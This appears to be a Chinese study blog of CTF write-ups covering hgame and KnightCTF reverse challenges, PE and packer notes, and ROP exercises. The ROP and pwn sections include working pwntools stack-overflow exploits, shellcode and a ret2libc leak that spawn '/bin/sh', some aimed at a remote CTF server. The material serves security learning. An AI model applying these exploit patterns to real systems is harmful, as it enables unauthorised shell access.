a = [99,85,4,3,5,5,5,3,7,7,2,8,8,11,1,2,10,4,2,13,8,9,12,9,4,13,8,0,14,0,15,13,14,10,2, 2,1,7,3,5,6,4,6,7,6,2,2,5,3,3,9,6,0,11,13,11,0,2,3,8,3,11,7,1,11,5,14,5,0,10,14,15, 13,7,13,7,14,1,15,1,11,5,6,2,12,6,10,4,1,7,4,2,6,3,6,12,5,12,3,12,6,0,4,15,2,14,7,0 ,14,14,12,4,3,4,2,0,0,2,6,2,3,6,4,4,4,7,1,2,3,9,2,12,8,1,12,3,12,2,0,3,14,3,14,12,9 ,1,7,15,5,7,2,2,4]
for i in range(len(a)-1,-1,-1):
num ^= a[i]
a[i] = a[i] ^ num
for i in range(len(a)-1,-1,-1):
num ^= a[i]
a[i] = a[i] ^ num
try: # 将无法转换的情况直接丢弃,说明该情况必然不是flag
enc = int("".join(map(chr,a)))
except ValueError:
continue

p = 92582184765240663364795767694262273105045150785272129481762171937885924776597
q = 107310528658039985708896636559112400334262005367649176746429531274300859498993
e = 950501
r = (p-1)*(q-1)
d = gmpy2.invert(e,r)
m = pow(enc,d,p*q)
print(long_to_bytes(m))

运行得到flag:hgame{g0_and_g0_http_5erv3r_nb}

ezvm

IDA:

main

可以看出主函数输入后进入switch;

翻译出每个case对应操作,恢复程序逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
	VM_START

OP_PUSH_NUM |
OP_POP_EBX |'\n'

OP_PUSH_NUM |
OP_POP_ECX |-5
.input:
OP_STREAM_IN |eax
OP_PUSH_EAX |
OP_ADD |edx,1
OP_CMP |eax,ebx
OP_JNE |ecx .input

.check_len:
OP_SUB |edx,1
OP_PUSH_NUM |
OP_POP_EBX |32

OP_PUSH_NUM |
OP_POP_ECX |47

OP_MOV |eax,edx
OP_PUSH_EAX
OP_CMP |eax,ebx
OP_JNE |ecx .exit

OP_PUSH_NUM
OP_POP_ECX |-10

OP_PUSH_NUM
OP_POP_EDX |0
.enc:
OP_GET_MEM |eax,stack[edx]
OP_PUSH_NUM |
OP_POP_ESI |xor_key
OP_MUL |eax,2
OP_XOR |eax,esi
OP_SET_MEM |stack[edx],eax
OP_ADD |edx,1
OP_MOV |eax,edx
OP_CMP |eax,ebx
OP_JNE |ecx .enc

OP_PUSH_NUM
OP_POP_EDX |0

OP_PUSH_NUM |-17

OP_PUSH_NUM |21
.check
OP_PUSH_NUM |
OP_POP_EBX |cipher
OP_GET_MEM |eax,stack[edx]
OP_CMP |eax,ebx
OP_POP_EAX
OP_PUSH_EAX
OP_POP_ECX
OP_JNE |ecx .exit
OP_POP_ECX
OP_POP_EBX |
OP_PUSH_EBX |
OP_PUSH_ECX |
OP_PUSH_EAX
OP_ADD |edx,1
OP_MOV |eax,edx
OP_CMP |eax,ebx
OP_JNE |ecx .check


OP_PUSH_NUM
OP_POP_ECX |2

OP_PUSH_NUM |
OP_POP_EBX |0

OP_PUSH_NUM
OP_POP_EDX |-6
.success:
OP_PUSH_NUM |
OP_POP_EAX |str

OP_CMP |eax,ebx
OP_JE |ecx .exit
OP_STREAM_OUT |eax
OP_JMP |edx .success

.exit:
VM_EXIT

由此代码:

1
2
3
4
5
6
7
8
9
10
xor_keys = [94, 70, 97, 67, 14, 83, 73, 31, 81, 94, 54, 55, 41, 65, 99, 59, 100, 59, 21, 24, 91, 62, 34, 80, 70, 94, 53, 78, 67, 35, 96, 59]

plain_text = []

cipher = [142, 136, 163, 153, 196, 165, 195, 221, 25, 236, 108, 155, 243, 27, 139, 91, 62, 155, 241, 134, 243, 244, 164, 248, 248, 152, 171, 134, 137, 97, 34, 193]

for i in range(0,32):
plain_text.append(chr((cipher[i]^xor_keys[i])//2))

print(''.join(plain_text))

运行可得flag:hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!}

hardasm

IDA:

main

可以看到伪代码的main函数显示的也是__asm,汇编指令;

根据汇编指令可以搜索出,这是AVX2 指令集;

具体思路就是给 ymm1~ymm7 寄存器赋值,然后进行运算,ymm0是输入数据;

但运算过程过于庞大,而且不会这个指令集;又因为ymm0到比较与否的区域始终没有改变,所以可以爆破;

在比较数据的地方下个断点,调试的时候输入 hgame{aaaaaaaaaaaaaaaaaaaaaaaaa} 共32个字符串(因为scanf的格式为%32s),这时候可以发现:[rsp+70h+var_50] 的地方从原来的输入数据,变为了6个0xFF;

cmp

这是因为比较后,因为前6个字符输入的都是正确的,而其他错误,所以其他的都成为了false,0;

那么就可以使用python的 subproccess 子程序模块,在运行脚本时对该程序进行操作,使其循环找到32个0xFF;

subprocess菜鸟教程:https://www.runoob.com/w3cnote/python3-subprocess.html

既然要找0xFF,那么需要从子程序中返回0xFF才行;

根据程序的输出可知:通过rcx将 error字符串或success字符串 打印出:

print

那可以patch程序,将[rsp+70h+var_50]处的内容传递给rcx,以此打印;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import subprocess
real_flag="hgame{" #绝对正确的前6个字符
cur_index=6 #当前爆破的位置
while cur_index<32:
for i in range(32,128): #当前爆破的位置上的字符
real_flag_arr = [0] * 32

for j in range(len(real_flag)): #正确的先复制一下
real_flag_arr[j]=ord(real_flag[j])
real_flag_arr[len(real_flag_arr)-1]=ord("}") #最后一个字符"}"固定

for j in range(len(real_flag_arr)-2,cur_index,-1): #除了当前爆破的位置,其他位置 上都设置为32(空格)
real_flag_arr[j]=32

real_flag_arr[cur_index]=i #设置当前爆破的位置上的字符
real_flag_arr_s="".join(chr(k) for k in real_flag_arr) #输入到程序中的字符串
p = subprocess.Popen(["C:\\Users\\Second_BC\\Desktop\\hardasm.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(real_flag_arr_s.encode())
p.stdin.close()
out = p.stdout.read()

if len(out)>cur_index: #判断程序打印出的0xFF的个数是否增加,增加则说明当前爆破的位置 上的字符设置的是正确的
real_flag+=chr(i)
cur_index+=1
print(real_flag)
break

运行得flag:hgame{right_your_asm_is_good!!}

总结

这次hgame的逆向之旅收获了很多,应该可以说有了叫baby和easy题的题感;更多的包括JAVA的语法,z3的模型可运算,UPX的标签规则,POWERPC的PCC架构,Blowfish标准河豚算法,RSA大素数算法,DES加密的了解;有两道题并不是特别理解,一道是第三周的hardened,另一道就是第四周的ezvm了;前一道没有可用手机或是kali虚拟机,所以无从下手;另一道虚拟机因为还不太理解虚拟机的构造,所以无法翻译;

因此接下来的任务就是抽空把虚拟机的实验完成,以及ROOT手机到手;

阅读全文
逆向工程核心原理复现02

这一章讲的是PE构造以及压缩加壳,因为之前看到过epf文件的构造,所以理解PE起来会容易很多,也可以去类比;

先总结一下PE文件的特点:有个头来控制各个节区的偏移,且在文件和内存中的形式相似却不一样;可以把内存中运行的程序成为文件的映像;

第一:PE头

PE头是个结构体,里面包含了更多的结构体,每个结构体有着调控和指向的作用;

  • DOS头,40个字节,名称 IMAGE_DOS_HEADER;里面的内容中,e_magic 代表签名,一般是4D5A;e_ifanew 代表NT头偏移量;

  • DOS头后有个DOS存根,PE文件可要可不要;

  • NT头,包含三个成员,签名(signature),一般是PE00;以及文件头和可选头;

    文件头包含4个重要成员:Machine CPU唯一对应码;NumberOfSections 节区数量;SizeOfOptionalHeader 可选头大小;Characteristics 文件的信息情况;

    可选头的成员:Magic 可选头签名,32位是10B,64位是20B;AddressOfEntryPoint 俗称EP,显示的是EP的RVA值,这是程序执行的入口地址;ImageBase 文件的优先装入地址,exe和dll 在 0 ~ 7fffffff,sys在后面的内存中,其中,dll的起始值为 10000000;SectionAlignment FileAlignment 前者针对内存而言,后者针对磁盘而言,他们都是对齐,所以是节区的最小单位;SizeOfImage PE文件在内存中的空间大小;SizeOfHeader 整个PE头的大小;SubSystem 是否为sys后缀又或是exe和dll后缀;NumberOfRvaAndSizes DataDirectory数组的下标数;DataDirectory 由IMAGE_DATA_DIRECTORY组成的数组;

  • 节区头,分三类,code(可执行,可读);data(可写,可读);resource(可读);

第二:压缩和UPX

这个部分讲述了内存和磁盘以及压缩如何处理文件的内容;

  • Rva to Raw 可以这么理解,raw就是生肉,还没烤熟,所以在磁盘中为文件,没有驱动;那么它的意思就是,从 内存 到 磁盘;具体是在说它们的偏移映射;

    具体算法:Raw = Rva - VirtualAddress + PointerToRawData

  • INTIAT,前者全称:import name table,后者全称:import address table,后者叫做 导入地址表;

  • DLL 全称:动态链接库,一共两种方式,显式连接,隐式连接;前者是使用时链接,使用后释放,后者是启动时链接,结束后释放(类似于静态链接);

  • CreateFileW() 函数,因为不知道PE的实际版本,所以用(01001104)地址处的值来进行跳转;

  • IMAGE_IMPORT_DESCRIPTOR 导入库;

  • IMAGE_OPTIONAL_Header32.DataDirectory[1].VirtualAddress DataDirectory数组,这个值是导入库的起始地址;

  • EATAPI 前者能求出相应库中导出函数的起始地址,后者通过GetProcAddress() 函数获取要取函数的地址;

  • 压缩即运行时压缩——UPX,因为解压通常会有解码循环,所以在逆向加壳产物的思想就是,尽量避免循环;

    UPX的特征:EP码在 pushad 和 popad 之间;且跳转到OEP处的JUMP指令紧跟 popad 之后;

    硬件断点:由CPU支持,最多打4个,与普通断点的区别是:在断点处的指令完成之后暂停调试;

第三:重定位

讲述PE文件链接后成为程序时,从文件到磁盘地址的变化内容;PE文件加入内存时,文件会被加载到 ImageBase 所指地址,若再加入DLL,那么加入的DLL会被重新定位;

原理

  • 在应用程序中查找硬编码地址位置;
  • 用读值减去ImageBase(VA -> RVA);
  • 加上实际加载地址(RVA -> VA);

首先需要了解:基址重定位表(Relocation Table),这个表也在DataDirectory数组中,下标为5;

其中的重要成员:VirtualAddress 基准地址,RVA值,4字节,可以用来算 Rva To Raw;SizeOfBlock 重定位块大小,4字节;TypeOffset 偏移,由4位Type和12位offset组成,共2字节;

删除reloc节以理解整个PE的工作:整理节区头,删除节区,修改文件头和可选头;

  • 节区头从文件偏移270处开始,大小28个字节,节区起始位置偏移为C000;

  • 文件头中的 NumberOfSections 改少1,因为删除了一个节区;

  • 可选头中 SizeOfImage 减少,减少量:知晓reloc节中的VirtualSize值,并根据SectionAlignment扩展变化后的值;

第四:Upack压缩和内嵌补丁

Upack也是PE文件运行时的压缩器;但因为神奇的压缩技巧,会导致一些查看器认为文件损坏无法查看,所以需要特别地用Stud_PE来查看;

压缩技巧

  • 重叠文件头,把PE头和MZ头重叠;
  • 修改文件头中 SizeOfOptionalHeader 的值,明面上改了可选头大小,实际上增大了可选头和节区头之间的距离,在空隙之间插入解码代码;
  • 修改可选头中 NumberOfRvaAndSizes 的值,增多DataDirectory数组,向文件头插入自身代码;
  • 修改节区头,Upack把自身代码记录到程序运行不需要的目录,不用特别增加节区;
  • 重叠节区
  • Rva to Raw 时,使用异常处理:PointerToRawData应该遵循对齐,但Upack会改值,运行时强制将这个值改为对齐的整数倍,一般是0;
  • 导入表,看似结尾没有NULL结尾会出错,实际上映射到内存后,后面会有空区域自行补充0;
  • 导入地址表

解码循环:Upack把压缩后的数据放到第二个节区,在运行解码循环解压到第一个节区;解压后设置IAT,用导入的两个API;之后一边循环一边构建原本的IAT,完成后连接到OEP;

内嵌补丁:注入的代码,一般用于针对难以直接修改的代码的更新升级或者恶意篡改;需要对PE文件熟悉来更改PE的控制设定增添节区;

总结

了解完PE和压缩部分的知识过后,也懂得了UPX的实际作用,以及如何逆向简单加壳程序;PE展示的成果其实远不止于此,正因为了解了PE构造和压缩,才能更好地藏匿木马节区和后门函数;现在学习地正是以前看不懂的电脑思维,以前就会思考为什么编译器能读懂高级语言呢?怎么编译成可执行文件呢?懂得了它的思维,就可以利用它的漏洞;实验还多,任重而道远,继续冲冲冲!

阅读全文
Knight夺旗战

介绍:

由孟加拉国第一次举办的为期27小时的夺旗战;

KnightCTF做起来二进制方向确实算签到题;

同时KnightCTF偏小众,但是个很好的新手训练平台,能很好的入门各个方向;

但同时KnightCTF有很多个扩展方向,不只是局限于web,re,crypto,pwn,misc;

还有数字取证(Digital Forensics),开源情报(OSINT),隐写(Steganography),网络(Networking),以及编程(Programming);

通过这些特殊的方向可以学习到很多有意思的知识;

比如隐写会把秘密写在图片里,或者图片的介绍里;网络会需要用到wireshark,由此还特别下载学习使用;开源情报则是灵活使用谷歌搜索以及其他的爬虫;

通过这次CTF的学习,可以发现很多奇怪的文件都可以转成zip来破解,有些甚至会套娃;

过程:

我和我的小队成员也在比赛的过程中互相帮助,揣测思路;尽管二进制很简单,我们能很快解决AK掉,但其他方向和奇怪的谜题也困扰着我们,比如misc的3D建模需要穿模找flag…等等;

一边学习一边讨论一边解题,针对新知识,解题确实让人头大,连续熬夜两天,每天都高强度地盯着屏幕,怕是这样久了头发都掉光;

为什么这么认真呢?因为这是矩阵战队第一次的CTF比赛,我们会团结起来,去拿到一切能拿到的分数,不会说二进制AK我就下班;

在这过程中,我们还误判了结束比赛的时间,导致排名往下掉了不少,最后也是凭着每个人的意志熬了过来;

Certificate

最后也是成功的拿到了前100的名次得到证书;

虽然都不是什么难题,但确实让人开心;

接下来就是二进制系列的复现了;

Pwn:

whats_your_name

IDA和ROPgadget:

main

可以看到主函数很简单,gets输入v4会栈溢出,以便修改v5的值,执行system函数获取flag;

使用ROPgadget会发现有可以控制的寄存器,所以可以玩一点花的;

再使用cyclic命令找到溢出返回的长度;

用got表可以找到plt的偏移;

之前写过ret2libc,那就用那次的经历来写一次;

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('198.211.115.81',10001)

ad = 0x404048
system = 0x401030
r15 = 0x401242
gets = 0x401050

payload = b'a'*68 + b'a'*8 + p64(gets) + p64(r15) + p64(ad) + p64(system) + b'e'*8 +p64(ad)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

思路就是,直接去return,先调用gets函数,控制r15寄存器输入 ‘/bin/sh’ 到一段可修改的地址,返回后调用system,直接执行 system(‘/bin/sh’) ;

之后得到flag:KCTF{bAbY_bUfF3r_0v3Rf1Ow}

hackers_vault

IDA:

main

可以发现输入的v4是用%d(整数)格式输入的,之后还有一个运算,最后得出v5的值,如果v5 = 48,就能拿到flag;

其实就是一道非常简单的逆向题;

算法就是每一位数的和,所以只需要输入一串数字,这串数字加起来为48就好了(千万别管溢出!别管int的位数!)

answer

然后就nc到服务器,输入数字得到flag:KCTF{b1NaRy_3xOpL0iTaT1On_r0cK5}

whats_your_name_two

IDA:

main

查看主函数,发现输入的内容s,会被复制到dest,看栈的结构,可以知道dest后面紧跟v6和v7;

主函数里判断,如果v7和v6满足条件值,就执行system获取flag;

则Exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('198.211.115.81',10002)

v6 = 0x534B544E
v7 = 0x5445454C

payload = b'a'*72 + p32(v6) +p32(v7)
p.sendline(payload)
p.interactive()

得到flag:KCTF{bUfF3r_0v3Rf1Ow_i5_fUn_r1Gh7}

偷懒不想玩return了;

Reverse:

The_Flag_Vault

IDA:

main

进入主函数看到会让输入字符串s2,然后和s1字符串比较,如果相同,就会输出flag;

answer

输入s1后获得flag:KCTF{welc0me_t0_reverse_3ngineering}

the_encoder

IDA:

function

输入最大40个字符,然后这个for是在判断输入的长度,没什么实际的意义,不会改变输入的值;

之后就会把输入的字符的ascii码加上1337输出;

根据题里的内容,可以知道有如下的数据:

1
1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462

所以思路就是:把每个数减去1337,再换成ascii;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

int main()
{
int box[25] = {1412 ,1404 ,1421 ,1407, 1460, 1452, 1386, 1414, 1449, 1445, 1388, 1432, 1388, 1415, 1436, 1385, 1405, 1388, 1451, 1432, 1386, 1388, 1388, 1392, 1462};
int i;
char out[25];
for(i=0;i<25;i++)
{
box[i] = box[i] - 1337;
}
for(i=0;i<25;i++)
{
out[i] = box[i];
}
printf("%s",out);
return 0;
}

运行后得到flag:KCTF{s1Mpl3_3Nc0D3r_1337}

BabyShark

这道题的文件是.jar,所以用jd-gui反编译;

main

可以找到这样两个关键字符串信息内容;

上面一张图的数据后面有等号,可以想到AES,base64加密,于是去尝试解密:

decrypt

用base64解密解出flag:KCTF{7H15_W@5_345Y_R16H7?}

flag_checker

IDA:

main

这道题就是单纯的把输入的字符串v4经过两个for循环的运算之后给已有的v5字符串比较与否;

那么稍微改一下两个for里的算法,改成自己的逆运算,当然,第一个for的逆运算就是它自己,因为 x = -1 - y 就是 y = -1 - x;用v5的值算回v4就行了;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>

int main()
{
char in[35],out[35];
int v4[35];
int i,j,v7,v6;
scanf("%s",in); //换做v5做运算数
for(i=0;i<35;i++)
{
v4[i] = in[i];
}
for ( j = 0; v4[j]; ++j )
v4[j] += 32; //改减为加
for ( i = 0; v4[i]; ++i ) //这个for不变
{
if ( v4[i] <= 64 || v4[i] > 90 )
{
if ( v4[i] <= 96 || v4[i] > 122 )
v4[i] = v4[i];
else
v4[i] = -37 - v4[i];
}
else
{
v4[i] = -101 - v4[i];
}
}
for(i=0;i<35;i++)
{
out[i] = v4[i];
}
printf("%s",out);
return 0;
}

因为是复制的代码用,所以会比较乱,而且写的时候是v4来运算,但实际上输入的数据是v5的;

运行输入后得到flag:KCTF{aTbAsH_cIpHeR_wItH_sOmE_tWiSt}

Knight Vault

IDA:

main

输入v8,让v8经过for循环的运算,再用运算的数据和v7比较与否;

思路还是改写for循环的运算,使其逆向,把v7变回v8;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>

int main()
{
int v7[43];
int v8[43];
char in[43],out[43];
int i;
scanf("%s",in);
for(i=0;i<43;i++)
{
v7[i] = in[i];
}
for(i=0;i<43;i++)
{
v8[i] = v7[i] + 10; //改减为加
if( v8[i] == 42 ) //两极反转
v8[i] = 65;
}
for(i=0;i<43;i++)
{
out[i] = v8[i];
}
printf("%s",out);
return 0;
}

运行得到flag:4CTF{sO_yOu_gOt_mE_gOOd_jOOb_hApPy_hAc4iNg}

Droid Flag

这是个安卓APK,用jeb分析:

main1

main2

这是整个onCreate方法;

下方可以看到v1变量在添加flag样式的字符,并且使用getSx函数获取字符串;

如下是getSx系列:

getSx

它是用16进制下标在字符串里找对应id的字符串,那就进入字符串里寻找;

最后结果:

string

从字符串里看出,就这样输入貌似并不是flag,但是把字符反着输入,就可以拼接成单词了,比如s7代表的 D10RdNa ,反转输入就变为 aNdR01D -> android ;

最后通过这样的字符串拼接方法得到flag:KCTF{aNdR01D_s1MpL3_r3V3rS3}

Knight Switch Bank

IDA:

main

输入v5,进入while循环开始选择性的运算,最后还有一个while循环,结束后让运算过的v5与v6比较与否;

这个套路很像之前的 flag_checker 这道题;唯一不同的就是两个循环的样子变了一下;

第一个循环在选择输入的字符:如果是小(大)写字母的前13个,就加13;如果是小(大)写字母的后13个,就减13;如果不是字母,就减32;

第二个循环就是自加2;

跟之前一样,改写一下循环里的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<stdio.h>

int main()
{
int v4[29],v5[29];
char in[29],out[29];
int i;
int v10;
scanf("%s",in);
for(i=0;i<29;i++)
{
v5[i] = in[i]; //输入的是原v6,复制用的v5;
}

for(i=0;i<29;i++)
v5[i] -= 2; //改加为减
for(i=0;i<29;i++)
{
if ( v5[v10] <= 64 || v5[v10] > 77 )
{
if ( v5[v10] <= 96 || v5[v10] > 109 )
{
if ( v5[v10] <= 77 || v5[v10] > 90 )
{
if ( v5[v10] <= 109 || v5[v10] > 122 )
v4[v10] = v5[v10] + 32; //改非字母的变化为加其他不变
else
v4[v10] = v5[v10] - 13;
}
else
{
v4[v10] = v5[v10] - 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
++v10;
}

for(i=0;i<29;i++)
{
out[i] = v4[i];
}
printf("%s",out);
return 0;
}

运行后得到flag:KCTF{So_YoU_ROT_iT_gOOd_jOOb}

总结

二进制方向要说没收获吧,其实还是有的,就比如安卓逆向和java逆向,当时看到的时候并不知道.getstring()函数是什么东西,更不知道其他点过去点过来的函数;都需要去网上查找学习才能弄懂;

因为简单,然后学习其他方向的内容,也是挺头大的,不过也同时收获很多知识;

比如密码学的RSA的简单了解和运用,web的SQL注入,misc 3D建模以及pacpng后缀文件的运用;

之后就是主打hgame了,在hgame结束的时候也会有这样类似的复盘发布的;

genshin

阅读全文
ROP基础题

开始做题之前,首先要复现一下做题的思路,首先用IDA软件分析出伪代码之后,可以找到缓冲区距离esp和ebp的偏移值;但IDA上分析的其实不是很准;

所以就学习了一下cyclic指令,使用这个指令会生成一堆有序字符串,使用cyclic -l 0x61616161 (四个字符组成的hex)可以查看这四个字符之前有多少个字符;

利用这个原理,对题目输入这串字符串;返回值肯定会报错无法返回,因为地址被覆盖为了4个字符的hex,用报错的地址来代入上面的指令就可以知道缓冲区的大小,找到正确的返回位置;

另外一个犯得错误就是python3不能在一个字符串上同时写入字符串和byte类型;

注意gets , write , read 这一类的函数,是危险函数,它们的读入不会限制长度,所以输入超出缓冲区的长度的内容会覆盖更低缓冲区的内容,用这个特点来更改返回地址;

genshin

ret2text

首先用IDA分析;

function

用蓝线分出了三个部分,上面的是main函数,中间的是一个叫secure的函数,而下面的是执行system函数的汇编代码以及它的地址;

找到gets函数,那么可以利用输入垃圾字符(比如a)填充满缓冲区,最后用0x0804863a的byte类型填充,让返回地址被覆盖为执行system函数的位置;

上面说过,IDA会突发恶疾,不要信它分析出来的偏移,自己用cyclic指令来找偏移;

debug

这张图的顺序是从上往下,从左往右看;

使用cyclic 200 生成200个有序字符;之后在调试状态下输入这200个字符;继续运行,发现一个错误:Invalid address 0x62616164;使用指令cyclic -l 0x62616164,发现这四个字符之前有112个,所以在地址被覆盖前有112个空位置;

接下来就可以写脚本通过这个程序去执行system函数进而运行shell程序了;

Exp:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./ret2text')
address = 0x0804863a
payload = b'a' * 112 + p32(address)
p.recvuntil('There is something amazing here, do you know anything?\n')
p.sendline(payload)
p.interactive()

ret2shellcode

这道题和上面一道的不同在于NX保护关闭,栈内数据可执行,且分析IDA可知,这里没有system函数;

main

利用第一题的思路可以求出返回地址的偏移也是112;

这道题的原本思路应该是复制输入的数据到buf2,而buf2所在的段应该是可执行的,然后return到buf2执行输入的shellcode;但这道题的buf2所在段是不可执行的;

bss

可以看到buf2所在的bss段属于0x804a000到0x804b000,但如右下角的段显示,rwxp,少个x,也就是不可执行;

这里先放出如果是可执行的思路,那么就很简单了,只需要输入二进制指令开启system函数(称为shellcode)和一堆无用字符填充空白,使最后的返回地址成为buf2,跳转过去后就会立刻执行输入的指令了;

Exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh()) #pwn库自带的asm函数,翻译指令shellcraft.sh()为二进制数据
buf2 = 0x0804A080
payload = shellcode.ljust(112,b'a') + p32(buf2) #ljust是python自带函数,用于左对齐填充数据
gdb.attach(p)
p.recvuntil('No system for you this time !!!\n')
p.sendline(payload)
p.interactive()

但有个漏洞理论上是可以利用的,就是NX保护没开,栈上指令可执行,输入的数据也存在于栈上;

那就得想办法使其return到输入的栈地址上;但栈地址是会变换的;试了几个都找不到正确的地址;

gdb上的栈显示是真的看不懂,IDA上的都还好一点,至少还有esp和ebp的指向地址,但很可惜这道题不能远程用IDA调试,别问,问就是有毒;

所以遗憾地没找到返回时,shellcode的栈地址,中大鬼;

ret2syscall

做题之前,首先需要了解一个东西叫做系统调用,linux系统中会有一个地址为int 0x80(默认这个就是一个名称),调用这个地址的时候,会中断程序进入内核状态执行系统命令,通过寄存器的值来执行;

例如:execve的系统调用号为 0xb,存在于eax中;

ebx的值为execve函数的第一个参数,指向/bin/sh的地址;

ecx,edx为0;

当寄存器的值为以上这些的时候,执行int 0x80时,会执行

1
execve('/bin/sh',NULL,NULL)

IDA分析:

main

而这道题没有后门,没有可执行的段,所以需要控制寄存器,返回地址为int 0x80;

控制寄存器需要用到pwn的工具 ROPgadget,使用命令:

1
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

可以查找出 ret2syscall程序中,关于eax寄存器进行出栈和返回的操作,从而利用这些地址控制eax寄存器并返回当前地址;

同理查找出其他寄存器以修改其值;

在使用ROPgadget指令后可以找到一些可以利用的地址;

ROPgadget

这里使用 0x080bb196来控制eax,0x0806eb90来控制edx,ecx,ebx;

并且我们找到了出题人非常体贴的 /bin/sh 字符串;以及int 0x80;

用cyclic算出填充长度也是之前的112;

这里介绍一个pwntools里的函数,flat(),它可以把输入进去的内容变成byte类型,且填充长度为4字节;

则Exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./ret2syscall')
int_0x80 = 0x08049421
bin_sh = 0x080be408
eax = 0x080bb196
edx_ecx_ebx = 0x0806eb90
payload = flat(['a' * 112, eax, 0xb, edx_ecx_ebx, 0, 0, bin_sh, int_0x80])
p.recvuntil('What do you plan to do?\n')
p.sendline(payload)
p.interactive()

ret2libc1

IDA分析:

function

有一个main,和一个secure;但这次的secure并不是执行的 ‘/bin/sh’ ;

在字符串里可以找到 ‘/bin/sh’ ;

address

所以这次我们在返回处返回调用system函数的地址,将其参数改为 ‘/bin/sh’ 的地址;

由cyclic算出补充长度为112;

Exp:

1
2
3
4
5
6
7
8
9
from pwn import *

p = process('./ret2libc1')
system = 0x08048460
binsh = 0x08048720
payload = flat(['a' * 112, system, 'a' * 4, binsh])
p.recvuntil('RET2LIBC >_<\n')
p.sendline(payload)
p.interactive()

这里说明两点,调用system函数时,第一个参数是返回地址,所以可以随便编一个,如 ‘aaaa’;

调用system函数需要返回.plt段的地址,不能直接返回.got,不然会出错,所以exp里的system地址会不一样;

ret2libc2

这道题和1其实类似,只是少了 ‘/bin/sh’ 的字符串;

所以我们需要构造这样的字符串;可以用gets函数输入一个字符串,接着再调用system;

gets函数的参数好像会关系到ebx,所以可以修改它的值为.bss段上的地址,以方便用于system函数;

这里先找到地址:

address

Exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./ret2libc2')
buf2 = 0x0804a080
system = 0x08048490
gets = 0x08048460
ebx = 0x0804843d
payload = flat(['a'*112, gets, ebx, buf2, system, 0x61616161, buf2])
p.sendline(payload)
p.sendline('/bin/sh') #gets输入
p.interactive()

ret2libc3

IDA分析:

function

这道题相对于1来说没了system的plt地址,也没有 ‘bin/sh’ 的字符串;

如何获得system函数的地址?

wiki上给出了2点:

① system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的;

② 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变;

说人话就是找到got表中的 libc_start_main,因为每个程序都会有它,所以可以用它来加上已知偏移找到system函数;

这里会使用一个库:LibcSearcher;下载地址:

学习之后写如下内容:

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#创建文件和进程
at = process('./ret2libc3')
elf = ELF('./ret2libc3')
#获取当前elf文件使用的libc文件
libc = elf.libc

#泄露got表
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload1 = flat([b"A" * 112, puts_plt, start_addr, puts_got])
at.sendlineafter("Can you find it !?", payload1)

#获取泄露数据
puts_addr = u32(at.recv(4))
#进程实际基址
libc.address = puts_addr - libc.symbols['puts']

#默认加上基址
system_addr = libc.symbols['system']
#正则搜索
binsh_addr = next(libc.search(b'/bin/sh'))
#返回到_start不需要管栈平衡
payload2 = flat([b"A" * 112, system_addr, b"A"*4, binsh_addr])
at.sendline(payload2)
at.interactive()

总结

做ret系列的题可以对程序中的栈结构理解更加深刻,以及对elf的文件结构更加熟悉;

总的下来,更多的体会是偏移的查找困难,之前的逆向工程核心原理中的PE部分,也是磁盘的RAW和内存的RVA换算,以及用头找偏移会比较困难;

之后CTF也会开始了,我想在CTF中我也许也会见到如此类型的题目,或许可以从中找到些偏移计算的灵感;

genshin

阅读全文
Normal

genshin

IDA分析

main

进行了一次异或操作,然后让输入的v5进入函数sub_A84输出s2;

function

进入函数之后可以发现运算中存在移位2,4,6,而且有长度控制的判断(v5<=5)让输入的长度变长了;

进入sub_7FA之后是一个有64个case的switch,对应着不同的ascii码,这样的特色让人能联想到base64,因为base64的码表也是64个字符;

把sub_7FA中的码表换成base64的标准码表后,用比较的数据进行一次解码,得到数据:

0xD2,0x51,0xD2,0x34,0xD7,0x1B,0xE5,0x08,0xA0,0x13,0xCE,0x11,0xF0,0x13,0xA2,0x56,0xA5,0x3F,0xF8,0x13,0xCE,0x11,0xF2,0x0A,0xFD,0x24,0xE6,0x07,0xC2,0x1D

再用一次异或便能得到flag:C1CTF{th1s_qas364_is_qcjlDwgS}

1
2
3
4
5
6
7
8
9
10
